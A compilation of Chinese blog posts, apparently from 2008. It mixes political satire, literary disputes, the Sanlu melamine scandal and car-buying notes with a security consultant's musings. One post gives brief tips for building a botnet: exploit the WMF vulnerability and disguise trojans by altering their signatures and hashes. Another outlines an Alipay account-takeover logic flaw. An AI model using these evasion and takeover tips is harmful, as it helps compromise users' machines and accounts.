，放协警！"原来那协警之徒，比正规警察更凶恶十倍，只见一个个奋勇争先，踊跃咆哮
，将大圣围在垓心，眼看就要拿下。


玉帝正在庆幸，忽见协警们全做了鸟兽散，原来此辈性贪，眼中只有金银，大圣之黄金锁
子甲在炉子中烤得甲环松脱，被众协警一口一撕，顷刻间个个嘴里有片黄金，纷纷跑回后
院掩埋收藏不提。


正没奈何间，忽见西方如来相助，要与大圣赌赛。如来曰："我有一样法宝，你若能飞出
我这法宝管辖，便让你做了玉帝之位；若飞不出，便缴械投降如何？"说罢自怀中掏出法
宝，悟空定睛看时，却是一个小小本子，上书三个大字：暂住证。便笑道："一个小小本
子，有何灵能，我去也！"一个跟头飞出，自天空降落北京地界，脚步刚落，便见几名警
察前来："那个谁，说你呢！暂住证拿出来看看！"悟空一惊，将腰一扭，又一个跟头飞
到广州，正在观望，忽见一群联防冲来："这个好像没有暂住证，快抓住他！"七手八脚
要拿下大圣，大圣忙分开众手，复又飞起，急切间难辨方向，却又飞回如来面前。如来微
笑道："我的宝贝何如？"大圣道："不算！不算！闻听西方有国，不设暂住证，待我去
来！"正要纵身跳出，却被如来手掌一翻，将暂住证变做一座五行山，将大圣牢牢压住。



玉帝见擒了大圣，心中大喜，便邀请如来及有功群臣，备齐饭局麻将、赃款三陪，做了一
个安天大会，盛世联欢。正行乐间，忽有五行山居委会老太来报："那大圣伸出头来了，
说他要挣脱出去赶招聘会，投简历发名片，谋个职位，以图东山再起哩！"如来道："不
妨，不妨。"袖中只取出一张帖子，上有六个金字："此人农村户口。"递与手下，让贴
在那五行山顶上。又向天再借五百年，使那帖子牢牢置顶不得脱落，那座山即生根合缝，
大圣再也无法爬出，自此一压就是五百年不得翻身也

奇文妙语：孙悟空为何被压五行山下？

震惊！孙悟空被压五行山下的真实原因

说孙悟空大闹天宫，观世音菩萨举荐二郎真君降妖，带天兵天将在花果山大战。正斗间，
大圣忽见本营中妖猴惊散，自觉心慌，抽身就走，众天将慌慌张张，前后寻觅不见，一齐
吆喝道："走了这猴精也！走了这猴精也！"


二郎神圆睁凤目观看，却见下界人烟繁华之处，那大圣变做一个老头，推着一辆三轮车，
抖抖索索地，正在街边卖烤白薯。二郎心中冷笑，正待发标打他，忽然见一伙城管，手持
锤剪棍棒，吆吆喝喝，不由分说，便将三轮车砸得稀烂。大圣一惊，以为是天兵到来，连
忙转过街角，又摇身一变，变做一个小姐，描眉画眼，在那里袅袅婷婷走路。却又被二郎
看个真切，二度意欲发标，迎面却又来了几个公安，劈面揪住大圣道："定是一个野鸡，
随我局子里走一趟！"大圣心慌，忙道："我不是野鸡，我还是处女！"公安狂笑道："
处女怎地？处女便嫖不得娼么？"手铐一抖，便要拿人。大圣见事不谐，忙将腰一扭，腾
空而去，眼见前方一个山凹，便滚下山崖，伏在那里又变，变一座小学，大张着口，似个
校门，牙齿变做门扇，眼睛变做窗棂，抖几个猴虱下来变做学生咿咿呀呀念书。只有尾巴
不好收拾，竖在后面，变做一根旗竿，悬起一条大标语："百年大计，教育为本；义务教
育，免费入学。"二郎两番被抢了先手，心中正在烦闷，眼看得这条标语，不由笑道："
是这猢狲了！他今又在那里哄我。殊不知中国号称义务教育，那里有得免费？我也曾见过
学校千万，更不见一个不把学生做摇钱树的，看我打杀这个猴子！"大圣听得心惊，扑的
一个虎跳，又冒在空中不见。


真君望不见大圣踪影，急纵身驾云，起在半空。见那李天王高举望远镜站在云端，呵呵笑
道："真君，快去！快去！那猴使了个隐身法，走出营围，往你那灌江口去也。"二郎听
说，忙回灌江口来赶。


却说灌江口正开大会，大圣摇身一变，变做一个XX代表，杂在会场之中，指东点西，做踊
跃发言状。正自以为得计，却不料被真君一眼识破："XX代表向来是泥塑土偶的神像，什
么时候跑出一个活的来？"举着三尖两刃神锋，劈脸就砍。那猴王急忙躲过，使金箍棒相
对。两个嚷嚷闹闹，打出会场，半雾半云，且行且战。


半空中天庭妇联主任观音菩萨与炼丹部长太上老君正在观战。菩萨对老君道："老君哥哥
，贫僧所举二郎神如何？果有神通，已经那大圣围困，只是未得擒拿。我如今助他一功，
拿下猴头。"老君道："观音妹子？你将何兵器助他？"观音回身唤过坐骑："看我开宝
马撞他一下。"老君道："你那宝马价格甚为昂贵，若撞坏了多有不便。"观音道："横
竖也是公款，撞了就撞了吧。"老君又道："那修理起来也甚为麻烦，还是让我来替妹子
助他吧。"观音曰："坏了就不要了，我正想换辆凯迪拉客。"正拉拉扯扯间，老君身后
转过一名仙娥，乃是有名的张惟英教授，献与老君一件宝物，嘴里喃喃说着什么"总不能
让所有人都来天庭吧……我至今都不认为我错了……"转身而去。老君定睛看时，那宝物

收集肉鸡的一种方法

1、使用微软的gdi+wmf漏洞，几乎没机器能挑掉
2、绑定木马时，除了做免杀处理，还要改它的数字签名，MD5值，这个最有效，改成和系统文件一样的，几乎所有的杀毒都无法看出异常。将来一段时间内，也不会被杀掉，手工查杀也比较难发现
另外，现在的rookit也发展了，可以放在cmos，硬盘微码中、甚至电池里面，越做越先进了

这样的肉鸡，怎么着也能用几年吧？

如何识别验证码？

http://huaidan.org/archives/2085.html

这儿的一文章论述的非常透彻

其它相关链接
http://www.cs.sfu.ca/~mori/research/gimpy/
　　http://www.brains-n-brawn.com/default.aspx?vDir=aicaptcha
http://caca.zoy.org/wiki/PWNtcha

国庆节前被人黑掉的几个网站

如是，国庆节前被人黑掉的几个网站：

三鹿：有几个人黑进去，在首页进行了聊天，和以前山东省公安厅的网站网聊似的。不过对于三鹿，相信大家心中自有公道评判。真相是掩盖不住的，新换的老总还想搞过去那一套，和阜阳那样，搞定政府就以为可以万事无忧了，那就低估了广大网民的智商了。
联通：被黑是正常的。他们许多地方都不重视网络安全，以前跟他们沟通过，他们的账务系统，也是非常容易进入的，但他们并不关心。
北大：有人冒充北大校长，发布言论，攻击现行教育制度。怎么说呢，学生的发言权，基本是没有的，算是由此找到一个机会吧。
西南交通大学：大部分学校的安全，基本上都很差，投入很少。
连云港环保局：政府投入倒是挺大，但是经常一番操作后，往往把安全作为一个噱头，并不真正重视。

还有很多，就不一一列举了。

上面是比较典型的几种环境：政府、高校、运营商、企业

到目前为止，我还没有足够的客户群，以后要尽量找机会，给当地这些部门演示，如何容易地就可以进入系统，如何防护，等等

随着经济形势的恶化，相信网络安全这个行业，反而会有更多的机会出现。努力吧

关于七八月份潍坊黑客事件的思考

在2008年的7-8月份，潍坊网通发生了大规律ddos事件，据称某周时间内，90%的用户无法上网，影响极大。

比较疑惑：
1、攻击只针对某物流园的服务器进行ddos，会影响全市40万上网用户？潍坊网通的网络规划是不是有问题？
2、攻击持续了整整一周，相关人员毫无对策？只不过是ddos攻击，现在很多机构一说这个，就说完全没办法防护，其实还是有许多办法减轻症状的，甚至大多数的攻击都可以很好地解决。ddos并不是不可治愈的顽症。
3、报道说此物流园由有线改无线，发现无线被人信道破坏，也无法正常提供服务。是后通过查找冲突的信道，定位了犯罪嫌疑人。这个攻击改变的改变，有些无厘头了吧？而且，改为无线提供速度，在网络上不是更容易攻击？即使针对无线的攻击，方法就更多了，何必舍近求远，暴露自己？

总之，这篇报道里面，疑点太多了。真相如何呢？

跨站攻击的利用

跨站攻击，现在的发展已经远远超出最初的利用了。

现在已经有很多使用的实例了。针对ajax + 跨站攻击，甚至做出了 web蠕虫病毒，想像力真是丰富，能力真是强呀，以前怎么没想到这么好的一种利用方式呢？

使用json，或者 xmlhttp方法提交数据的ajax特别多，再加上跨站的普遍性，几大网站，国内国际的许多知名网站都在这个名单中，尤其是web2.0的，几乎无一幸免，都会很容易地受到攻击。大家在上网时，请经常关注自己的系统情况

刚才需要更正的一个地方

刚才对于笔记本正常开机用时超过24个小时的想法，是不现实的。

手机虽然可以用几天，但大部分时间都在待机，屏幕和计算单元都是不工作的。笔记本电脑待机时，也可以用很长时间。
问题是，一般的手机，打电话都打不了多长时间，很少有超过5个小时的吧？要是光开着屏幕，玩pda功能，有超过一天时间的吗？可能能够支持一天也比较少了，算是很强的电池了。

所以，笔记本电脑要想超过24小时，在不增加电池的情况下，几无可能。最大能支持多长时间呢？通过改过操作系统，关闭用不到的硬件，能处长一倍时间吗？

有没有这种可能呢？

有没有这种可能呢？不用开机引导所有的功能，只要能编辑文档，收发电子邮件的功能，把日常用到的几个功能集成一下，放在笔记本上面使用，开机在几秒钟内实现，最大的开机时间，和手机似的，可以在电池支持下用几天时间。

能做到吗?准备把linux裁剪一下，把机器上用不到的硬件都关掉，能省多少电呢？能支持多长时间呢？要是在普通电池下，能够支持超时24个小时，就很强了吧？

现在待机可以很长时间，经常一晚上不用，放到早上再开机的时候，还有很多电，几乎没有消耗。要是正常开机情况下，也能做到这样就很强了。

准备一个项目，马上开始了。要找出最大量的应用漏洞，风险在哪儿？在别人已经做过安全风险评估的基础上，再去寻找风险，难度大了不少。这样也好，有挑战的乐趣。

精彩和智慧

韩寒再一次中午发帖，韩白之争2正式上演


时间：

2008年09月19日

08:16:06

事件：河北省作协副主席谈歌语出惊人："要是我当韩寒他爹，那下一秒就把他打死。"

原因：热热闹闹的"30省市作协主席小说巡展"遭到以韩寒为代表的年轻作家的否定乃至奚落，众作协掌门开始联手反击。


以下是河南省作协副主席郑彦英先生的文章：《人不能无耻到信口雌黄》


昨天来太行山途中，大河报记者来电话采访我，说韩寒说我在网上与全国30位作协主席一起参加的小说联展，我的《从呼吸到呻吟》标题标题党，今天早晨早起，看了韩寒在上的话，感到很惊讶！

1、韩说我们这些老作家都是靠领悟文件什么的才开始写作，未免太武断，不了解这一批作家不要紧，不要随便给他们下定义，一个轻浮到这种程度的人，肯定连他的父母亲想什么做什么都不知道。当然，他的父母健在不健在，健康不健康我不了解，正因为我不了解，我不会说他的父母自在哪种生活状态。

2、韩说大赛中没有作协主席，张笑天不是吗？起码看一看名单再说话，狂妄自大到连认真看一眼名单都没有的程度，就对这次大赛妄加评论，太自以为是了吧？

3、我过去常在网上看年轻一代的作品，包括韩寒的，我喜欢他们的新锐，他们作品中的一些不尽如人意的地方，我从来没说过，因为我知道他们终究要长到我们的年龄，那时候他们就会很成熟。但是韩寒根本没看我的作品就把我的小说定为标题党，未免太轻率吧。

韩寒回应。注，韩寒一般都是晚上发帖。害的得手机那时常常熬夜，无奈，刷屏太快，咱没那种命啊。

事件：韩寒中午发帖，领悟

原因：估计是回应

郑先生是被评为国家有突出贡献的专家、河南省省管专家，享受国务院特殊津贴专家，获得过冰心文学奖等多种奖励，同时也是河南省文学院的院长。

虽然郑先生是副主席，而且河南省有十二个副主席，但他在名单上是排在正主席之后的第一人，中国那点破规矩，不用干都能看会，所以，他将是现在河南省作协正主席退位以后的河南省作协正主席。我相信郑先生对正主席之位还是有想法的，你看他文章中的第二条就能隐约透露出他的想法。

所以，首先我要承认自己的错误，我居然看漏眼了在你们的名单里还有一位堂堂的正主席张笑天先生。我的确太狂妄自大，没有认真看你们的名册，没发现你们的正主席，臣罪该万死。

臣斗胆说两句，郑先生说，他们这些老作家不是靠领悟文件才开始写作的，那是当然，要不您不就变成新华社的社论员了，您是作家，酒肉穿肠过，文件在你心。你们是在写作的时候时刻领悟着文件。别人我不好说，但郑先生肯定记得，您在转业的时候，被河南省委组织部选为笔杆子，然后到了省委《党的生活》编辑部工作，当然当然，这是无尚的光荣。您还是灵宝市副市长，三门峡日报社总编辑、社长、党委书记，您说您不领悟，我实在不能领悟。

但是我还是得教教笔杆子文章到底应该怎么，至少上面那篇文章，有不少地方可以改进。首先，文章的官腔太浓了，写文章和写文件还是有区别的。其次，"一个轻浮到这种程度的人，肯定连他的父母亲想什么做什么都不知道。当然，他的父母健在不健在，健康不健康我不了解，正因为我不了解，我不会说他的父母自在哪种生活状态。"这种话是很没有意思的，你可能觉得拐着弯骂人很有意思，但你的弯也得拐的大点。在赛车中，你这种拐法是弯道中最没有技术含量可以全速通过的的"假弯"，可能你技术差，所以假弯也拐的很吃力，过了假弯很得意，你图了自己一个精神愉悦，但是很容易成文全文的败笔。

至于他的第二条，就已经说过了，这是一个省作协副主席对一个国家作协正主席的马屁，说到这郑先生肯定急了，你这个无知轻浮小儿，我说的那个不是中国作协主席，张笑天那是吉林作协主席，实在是不好意思，一个省十几个副主席一个正主席，全国好几百个作协主席，我实在是搞不清楚。

至于第三条，我实在是见过了很多次，作为写手，虽然我们年龄不同，但是平级的，我不敢说自己是作家，但如果真的以作家论，你是要比我低级的，因为你是国家豢养的。假若税收的取支都是在一个领域内，那就是我交给国家的税发了你的工资。所以说，我是你的衣食父母，你怎能写文章说你爷爷奶奶不好呢。有人可能会说，公务员和领导的工资也是由别人交的税组成的，难道纳税人要大过他们？当然应该是这样的。只是在我们国家不是这样的，我们已经习惯了纳税人是孙子，公仆是爷。

纵观整篇文章，你非常急躁，情绪波动大，动怒太多，芳心方寸同时大乱，明显沉不住气，心态也没调整好，我给你的评价只能是待定。

最后，我要给你个建议，2006年在中央号召大力建设社会主义新农村的大背景下，你领悟到了，出版了科幻读物《郑彦英诗语焦墨画----乡村模样》，在你的文章中，中国的农村无不是一副和谐的大好景象，男耕女织，衣食无忧，官民一心，繁荣富强。

该写的写，不该写的你永远不会写，你领悟的很好。我看好你当选下届中国作协主席。你明明就是郑主席，但却还是个副主席，这对不起你的工作，对不起你的名字。只有郑正主席才配得上你，不要怕，正正是不会得负的，你的位置稳的很

中国资本家与西方资本家的区别

西方资产阶级是通过延长工人劳动时间，掠夺海外殖民地，研发先进生产工具来积累资本的

中国资产阶级是通过作假下毒，恶化劳动环境，污染生态环境，不掠夺，不研发来积累资本的

黑心食品科是人类最大的罪恶

http://zh.wikipedia.org/w/index.php?title=%E9%BB%91%E5%BF%83%E9%A3%9F%E5%93%81&v

维基百科上面也有了。

太TMD无耻了，还有天理吗？

2008年9月出了许多事。

三鹿出售的有毒婴儿奶粉。矿难，四川客车事件....现在是9.15，这个月才过了一半。
2008年9月出了许多事。
三鹿出售的婴儿奶粉中，居然有毒物质，导致多名儿童死亡，大量儿童伤害脏器。厂家在3月份就收到相关报告了，但一直隐瞒，到2008年9月份才被揭露出来。三鹿奶粉是国产奶粉中的最大品牌，占销量的20%以上。这么多的有毒奶粉，在这么长时间里，销售到了全国各地。

看看最近的官方报道是如何写的：
中新社石家庄九月十四日电 (记者田张梦高新国)河北省政府十四日对外通报，三鹿重大食品安全事故目前被刑事拘留的十九位犯罪嫌疑人中有十八人是牧场、奶牛养殖小区、挤奶厅的经营者，河北警方正全力彻查。

　　十四日，河北省政府召开新闻发布会通报三鹿婴幼儿配方奶粉重大安全事故调查进展情况。河北省公安厅政治处副主任史贵中表示，事发后，警方经过深入调查相继排除流通销售、产品储存、生产加工环节添加三聚氰胺的可能性，将目标锁定原奶及其原材料采购环节。

google一下，可以看到三聚氰胺只是微溶于水，奶农能加到里面吗？加了也溶解不了啊。反倒是加到奶粉里，很难看出来。另外，据三鹿自己说，在生产过程中，光检验程序就有1100多道，这个一眼就能看出来的问题，居然可以在很长时间内没有发现。另外，听说一些很大的品牌奶粉，销量年年增长，牧场却不见增长，这里面会不会有问题？还有个说法，说是为了增加在牛奶蛋白质含量的时候达标，会加上微量三聚氰胺，使数据上浮，就很容易达标了。
如果这样一个事故厂家和政府的领导们都能撇清关系的话，实在是无话可说了

中国的这个行业，让自己搞死了。

车展归来

2008年秋齐鲁车展归来
从车展回来，整理一下照的几张照片，也整理一下思路，该买什么样的车，不会被销售忽悠，不会在轰闹的氛围下冲动，不理智地消费。每个人都有自己的情况，买辆车对我来说是大投入，所以必须精打细算，要物有所值，这笔投入必须是划算的。有好几个朋友都和我是一样想的，我们赚点儿钱不容易，好不容易攒那么一点儿，四个轮子就吃掉一块，每月还得不断地喂，就这还得折旧，纯粹是消费品。所以，即使存款能买几辆车了，也得仔细比较，买个实用划算的车。
先说说老三样。最实用的车当属老三样，捷达、富康、桑塔纳。夏利也不错，但车皮太薄，没点儿安全性，有新闻说在高速上时撞了条狗，狗没事，车废了。要是平时车技较好又在市里，夏利N3便宜外形也过的去。老三样里面，每一个都有让人喜欢的地方。结合下来捷达最棒，号称城市小流氓，加速快，省油，空调好，各方面都不错。就是安全性上未知，没在网上找到相关的测试数据。富康的操控性好，同价上配置比大众的车要高一些，奇怪的是，白天看着富康挺好看的，到了晚上，感觉这车挺猥琐。捷达和桑塔纳白天晚上都挺好看。当然，各人审美观点不一样，许多人对老三样的外形感觉不能容忍。其实，我感觉捷达最敏捷，桑塔纳很大气，从哪个角度看上去都很好看。老三样的价格不低，最低7万多，这个价位有许多新车可选。
6万多的车，感觉比较好的有三个：锐欧、雅绅特、雪佛兰乐风、其实奇瑞A5也不错，可以不到6万，前一阵儿我关注过这个车，当时去店里想试驾一把，感觉好的话，一冲动当场就定了，但销售人员坚决不让试驾，必须按照规定来。这个车各项配置挺多，也比较皮实，在国内的碰撞测试中，得分挺高，好像是46分来是多少。但后来在网上，有文章质疑国内碰撞测试的权威性，只是一个企业搞的，交钱就可以有内幕操作，所以也只能做个参考而已，当不得真。但A5的钢板感觉是挺皮实的。销售说是1.2的？感觉不大可信。现在许多车都是0.8吧。怎么会差这么多。A5的加速有点肉，高速超车得降档加油，最看中A518，但得订货都没有现货。据说A3不错，但这个车新推出来，性价比不高，整体可能还不成熟，价位也在8万多。最难忍受的是A5的屁股，导致整体不协调，其实从侧面看，前面也不是很协调。不协调的车，整体跑上速度后，可能会有一些问题，我研究汽车不深，只是觉的万物自有规律，不协调就是某些地方肯定是问题了。捷达那么老的车，为什么看上去还是很协调？纯粹个人感觉，也当不得准。 后来试驾了一把锐欧，让人感觉惊喜，1.4排量居然有这么强的动力，在泥洼里面转了一圈，也没感觉颠。空间、外形都不错。之前没有在网上查相关资料，对它还不了解。看发动机，布置的让人看了很舒心，不象国产的奇瑞、吉利甚至富康，里面的线都很乱，看着就挺晕。档位很清晰平顺，手感挺好，说不定最后就买这个了。另外的两个，乐风有些费油，不过雪佛兰景程那么大的车，据说也就9个油，有些怀疑。雅绅特有些省油，各个方面都比较不错，据另外厂家的销售说，安全性不好，碰撞测试只有一星。基于历来积累的感觉，对日本车和韩国车，都抱着很慎重的态度，除非特别特别吸引人，才会认真调查综合取证，最后才有所考虑。感觉日本车和韩国车，里面有他们民族性格的影子。
8万多车，本来没在考试范围内，但在找长安奔奔的时候，发现他们居然还出个长安志翔，安全性的配置非常吸引人，动力也不错，价位也不错，外形很棒，做工也不错，真的是很吸引人。让销售人员说的我都想马上拍板定了。后来想想，tsc技术会不会是高油耗的一个原因？另外在已经有ebd/aps/气囊等配置外，还能起多大作用？这个价位里面，俊捷的车比较实惠呀，外形很漂亮，里面也不错。以前坐朋友的车，就是感觉有些肉，没有驾试乐趣。我买个车来是开的，又不是摆造型比人看的。那么厚的钢板那么重的车身，也够难为那小发动机了。油耗也不低。
对了，上面6万多的车，怎能不掉比亚迪F3?这个车配置、外形等各个方面也不错，这么低的价格，在各个车型里面算是最高性价比了。后来看网上有人说，安全性很差。我表姐开了一辆，听说还不错。外观很讨人喜欢，配置也很棒。有空去试驾感受一棒。要是好的话，也在考虑之列 。
5万多的，旗云很不错，网上也有大量的文章。不过看上去象捷达，各个方面和捷达比较的话，整体性价比较高。外形也显的比较老重，从远了看，象是一个40来岁喜欢抽烟的男人。还有吉利，5万多里面，有个金刚很漂亮，刚出了个金鹰，屁股有些刚硬，但整体看上去还不错，挺吸引人，可惜是个两厢。家里不错，商务用途是不是有些不着调？金刚各方面不错，有空去试驾，也在考虑之列。不过比金刚各方面都好一些的远景更好，也是很吸引人，价位在7万5，恩，一下了贵了不少，不过外形更漂亮大气，配置更好，而且是全铝发动机。金刚是铸铁发动机，1.5的排量比远景实际却省不了多少。5万多的车里，上海华普有许多，外形也不错，配置也挺好，钢板厚度据说1.1。以前对这个牌子不了解。要是和也用吉利的配件和生产线，应该会不错。

10多万的车太多了，好车也太多了，就象贵和银座的衣服，看着感觉不错的，只要凑上去看看价位，也让人感觉很high。307很安全，10多万就能买到。focus福克斯10多万也能拿到。还有马六，凯旋，尼桑里面的什么达来着，对了，还有好多的SUV，对我们年轻人来说最有吸引力。雅力士、飞度也不错，但我持保留态度，日本韩国的车，除非好的一踏糊涂又便宜的一跳糊涂，才可能打动我。但这样的情况可能吗？
小车里面，Qq, qq6,长安奔奔，长城精灵，哈飞路宝，要只是上下班做个家用什么的，足够了，买个大车用的上吗？现在有个车还很有面子吗？谁家还买不起个车呀，每天只是个上下班，有个代步工具就行了，多烧那些油多花那些钱干嘛？不过小车的价钱再稍微加点儿，就能买个象样点儿的车， 五六万里面性价高最高，再往上加点儿配置增点儿空间，到十多万，就能买个不错的车，二十万以上，就能讲点儿品位了，再往上的，咱就不敢想了，看着那些好车，谁不馋啊？还得等咱赚了钱再说吧。几千万的车都有，那些东西，买点就象骗点一样，一个买点就顶若干辆好车，顶级的钱都是这么赚的吧。中国人瞎烧包，不吃饭也要买名牌，有钱的不知道钱怎么来的，要不然，怎么会消费掉全世界那么多的高级奢侈品呢？
             虽然写了这么多，折子上还放着些活期，但买车对我来说，还没有那么大决心。赚钱不易，有必要现在就买车吗？

几个有意思的东西

有几个挺有意思的东西，有时候见识一下：

山寨笔记本电脑，据说配置还不低，虽然有些粗糙，但价格不到一千元，很有杀伤力吧，可能会对轻笔电有影响。说实话，现在用x60s我觉的就太小了，屏幕看着难受，外接大屏幕感觉才稍好些。要是用轻型笔电，对心理和健康都是严重的摧残，不大感兴趣。

SSD硬盘，有个32GB的固捷，也不到一千，选择真是越来越快了。开机启动，运行着大软件，会感觉非常快，非常有吸引力。但我现在基本采用休眠，启动也是一二秒之间，速度飞快，省电要紧，还是不花这个钱了。

汽车办公室，有空了解一下。
家电风力/太阳能发电机，是个有趣的东东。
usb手感非常好的小键盘，只要25块？看来我现在用的这个买贵了啊，不过德国的小樱桃键盘可遇不可求，贵点就贵点吧，已经用这个键盘敲了不少字，也算值了.

安全服务的思考

你在火车上的时候，我跟王博士通过邮件，聊了很多。现在的安全服务，应该如何做呢？ 依据标准和一些成熟的操作方法，能找出潜在的风险和各类问题吗？用户关注的问题解决了吗？还是被我们引导转移了？通过我们的努力，能让用户的信息资产，更好地发挥作用了吗？
我觉的，现在我们做的，都没有解决好这些问题。用了这么大的投入，是不是一做完，就不会发生损害，或者发生前能够预知风险吗？ 老感觉里面遗漏了什么东西。当然，比国内其它安全公司来说，靳兄经验老道，最全面最深入，我无论如何努力，也无法做到这么好的效果。但这里面，我觉的主要的疑惑，现在的安全防护模式，其实是有很大问题吧。如果安全防护模式不完备，评估能做到什么程度呢？有多少人在研究更好的安全防护模式？有多少公司掌握了攻与防的精粹？现在什么模式能有效的检测攻击，抵御攻击，有效地进行系统防护？一千多万种病毒，杀毒软件靠特征码能解决多少？新病毒呢？防火墙更不用说。了，在新的攻击方法下，作用更来更小，尤其注入、跨站一类的攻击，防火墙基本毫无作用。。。。。。。

前几天晚上做梦，想了一种很好的模式，可惜现在怎么也想不起来了，是怎么来着呢？
瞎想一下吧，思考使人清爽嘛

对安全服务的一点儿补充

将客户分层次不是重点，针对用户的信息资产，那些产生价值的信息资产，会有哪些风险？怎样保护这些信息资产？包括人与信息资产的影响，信息资产对人的价值，我觉的最有价值的地方在这儿。

你说的度量，无论管理还是CVE漏洞都不是根本，根本在于，风险是什么？其实是对计算性资产所产生价值的影响。我不是说全面整体的评估不重要，而是针对这一切，还有一些更加丰富的呈现方式。包括依据标准的工具、文档、操作方法、技术细节。。。

老哥的评估方法，老感觉里面遗漏了什么东西。当然，比国内其它公司来说，是最全面最深入的，我去做也做不到这么好的效果，但可能我能找到遗漏的一些地方，比如做完某次评估，我可能还能使用评估结果之外的一些方法，损害影响到系统。 从这个角度说，评估并没有完全解决客户问题。


什么是最大风险呢？从操作上来说，信息资产会产生哪些价值，我可以如何影响（破坏）它，所有的可能都是风险。这样理解是不是更容易操作些？
CVE漏洞不重要，许多系统，从技术上没有漏洞，但还可以通过正常的操作，找到破坏的途径，比如国内的淘宝、支付宝，相信他们在安全上投入也挺大吧，但通过正常操作，也能搞一些很大的破坏。这不能不算风险吧？
做安全服务的客户会有哪些？只要是依赖于计算机和网络，从中产生利润，产生价值的用户，都有安全需求，解决他们的问题，会非常有价值。他们最关心什么？ 评估：信息资产创造价值，有哪些因素会影响它？ 安全服务的目的，就是为了让这些资产发挥最大效力，保证功能正常、可用、持续，最终产生价值或者利润。这算是客户的本原和最关注的问题吗？

安全评估应该如何去做呢？

最近哥们儿过来，和他交流的非常多。有个疑问，按照老靳的做法，一番折腾的安全评估，到底能解决多少问题？这样铺开后，那么多繁琐的工作，那么大的工作量，能抓住重点吗？能解决用户面临的最迫切问题吗？

我现在为一些客户提供的服务，依照标准的广度，和技术的深度，可以在很短时间内，拿出一个东西，非常有针对性，这样在第一步中，先解决最大风险最大问题，再依照标准流程，慢慢挖掘背后的各种风险，按照客户的投入程度，做到什么程度，但会到没发现的各种可能性和风险，对业务和利润可能的损害说清楚，让用户去衡量安全服务的价值。从这个角度，我的工作，能真正解决客户的问题，是有足够价值
的。

哥们儿的公司服务体系非常庞大，覆盖非常全面，但在项目初期，就与客户界定评估目标，仅有几个系统中挖掘问题，忽略边界、旁路及其它系统、数据、人员操作对目标产生的影响，我觉的虽然显的工作非常漂亮，产生了许多漂亮动人的文档，但最终能解决客户问题了吗？能解决到什么程度？还没有其它潜在风险？评估效果的生命周期多长？。。。。。怎样才能让我们的劳动更有价值呢？ 我们能不能解决真正解决客户面临的问题？ 怎么才会让我们的业务更有生命力？让我们的公司更有生命力？

越来越坏了

这帮人越来越坏了

现在都去怎么控制机器，蠕虫病毒并不是不用了，还有网站挂马也是有效的手段，不过，针对互联网上的视频、MP3利用，正变的越来越多了。

有许多起着吸引名字的电影、歌曲，都加了代码，里面有url，有下载地址，可以把远程的木马拖下来，隐藏在你的机器中，等着控制者的进一步指令。

这种方法以前都使用过，不过，这个暑假期间，用的特别泛滥，相信有人又建立了一大批的肉鸡。只能说，有许多人越来越坏了，安全保护却一直处于落后，许多的地方，经过多年，一直未变，还是杀毒软件+防火墙的安全防护模式。其实，我已经看到了一些后果，怎么就想不到一种商业模式，把我的安全服务推广开来呢？

自己的思路才有才

很有才的一段视频 http://v.youku.com/v_show/id_XMzY4NTE5MDQ=.html

最近针对一些系统的测试，有些先从正常访问的角度看看，其实用不到太多复杂的方法，只要影响到系统的正常业务功能和流程了，也算是成功的一次渗透攻击过程。
原来的渗透攻击，每次搞下来，几乎是全副武装了，有好的机器，带宽，想法，准备，精力等等，总要准备的万全开始动手，争取有成果。现在看一些保护很好的系统，其实完全可以在正常访问的过程中，操作一些东西，影响到它正常的功能和业务，这样也算是达到目的。企事业单位最担心，也是最有价值的，就是系统在业务上的功能承载，最终再到利润和影响（信誉）的呈现。天下之事，莫外名利。

     还是原来的想法，远离酒场远离官僚，保持自己的想法，和追求的方向，这样的人生才更加快乐一些。

电子书阅读

有大量的文档要看，装了Team One's Reader
要是有电子墨水就好了，手机的屏幕看长了还是太累

支付宝的设计缺陷

支付宝是淘宝账务管理中心，所有的钱都放在这儿。今天发现，有个业务上的流程存在逻辑缺陷。

只要掌握了一个用户的邮箱，就可以做很多事情了，包括修改"安全问题"，修改密码，修改"绑定的手机号"。从"手机服务"中，我们可以看到，只要能改了手机号，实际上可以做许多事情了。

下面看看手机服务提供了哪些功能？ 

手机找回密码 利用手机来轻松找回遗忘的密码 已开通
手机开启/关闭余额支付 您可以用手机开启或关闭账户余额支付功能 已开通
手机管理数字证书 如果您的数字证书丢失了，您可以用手机注销数字证书 已开通
手机设置安全问题 如果您忘记了安全问题，您可以通过手机重新设置 已开通 关闭
手机支付 开启手机支付功能，您将可以通过短信或语音方式付款。 已开通 关闭
手机动态口令 有了密码和手机动态口令的双重保护，您的账户安全就得到了全面的提升！
手机号码登录 如果您用手机号码做为支付宝账户名，您可以在此修改

从上面可以看到，只要得到了手机权限，这个支付宝账号基本就在控制之中了。而得到手机号，只要得到信箱权限就可以了。信箱权限怎么得就不多说了，相信很多人都掌握了若干种方法，很容易就可以控制信箱。本来这个手机服务，是为了避免信箱的安全问题，所以才提供了比信箱功能更多的权限，比如修改安全问题，数字证书，动态口令等，这些都是信箱无法提供的。现在可倒好，通过手机服务，放开大门了。

   如何通过信箱修改手机号？这是问题的关键，因为支付宝还没有修改完善相关系统，在此不多说了，只想告诉大家，非常非常简单，只是他们在设计上的一个缺陷，算不上系统漏洞。所以，一定不要逻辑混乱，清晰的业务流是非常重要的。

如何发挥自己的长处

做了这么多项目，其实在评估、加固、应急、取证、恢复、追踪、渗透、咨询等多个方面都有大量实践经验，都有许多东西，是在网上查不到的，还没有写出来的。有时看一些标准化文档，看到一句话，会想到大量大量的东西，就象俗话说的，可以把一本书看到很厚的程度，但还没有看薄的功夫，做一些东西，往往抓不住重点，交流时没有足够的火力效果。

   如果要和朋友们一起合作，如何把事情做大，又能发挥出朋友的长处，我的长外？真得好好想一下，如何把每个人的理想，放到一个共同的梦想事业中去。

在博弈中成长

   认识了一位朋友，在安全圈里面认识很多人。虽然我也一直做安全，但基本认识的都是原来周围的同事，仅仅有限的几个人，更多的人只是如雷贯耳听说过，连见面都没过。
    下决心要做一番事业，是因为觉的安全服务的市场很大，做的人比较少，有几家在做的，做的效果也不好，至少我真正想解决用户的问题，不是抱着忽悠的目的。从某一方面来说，我有一些东西，可以很好地解决用户面临的安全问题，这些东西让我比较有信心，可以做出一番事业来。
